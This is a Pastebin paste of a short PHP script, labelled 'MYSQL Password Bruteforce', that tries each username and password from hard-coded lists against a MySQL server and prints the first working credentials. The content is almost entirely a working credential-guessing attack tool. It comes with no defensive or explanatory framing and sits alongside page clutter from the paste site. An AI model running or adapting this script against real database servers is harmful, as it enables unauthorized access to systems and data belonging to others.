Advertisement
Guest User

Untitled

a guest
Jun 16th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.95 KB | None | 0 0
  1. <?php
  2. /**
  3. * Description: MYSQL Password Bruteforce
  4. */
  5. error_reporting(0);
  6.  
  7. $host = 'localhost'; #MYSQL Server
  8. $username = array('root'); #List of users
  9. $password = array('hello', 'bxi34x', 'brutus', 'xeaf3', 'dwa45hb2', 'stdb'); #Password list
  10.  
  11. $numOfUsers = count($username); #count numbers of users
  12. $numOfPass = count($password); #count numbers of passwords
  13.  
  14. for($i = 0; $i < $numOfUsers; $i++){ #start looping through users
  15. $user = $username[$i]; #get user
  16.  
  17. for($j = 0; $j < $numOfPass; $j++){#start looping through passwords
  18. $pass = $password[$j]; #get password
  19.  
  20. $connect = mysql_connect($host, $user, $pass); #connect to mysql
  21.  
  22. if($connect == true){ #sucess
  23. echo 'Connection sucessful, <br/>username: <b>'.$user.'</b><br/>password: <b>'.$pass.'</b>';
  24. mysql_close($connect);
  25. exit();
  26. }
  27. }
  28. }
  29.  
  30. echo 'Unable to connect, try different username & passwords...';
  31. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement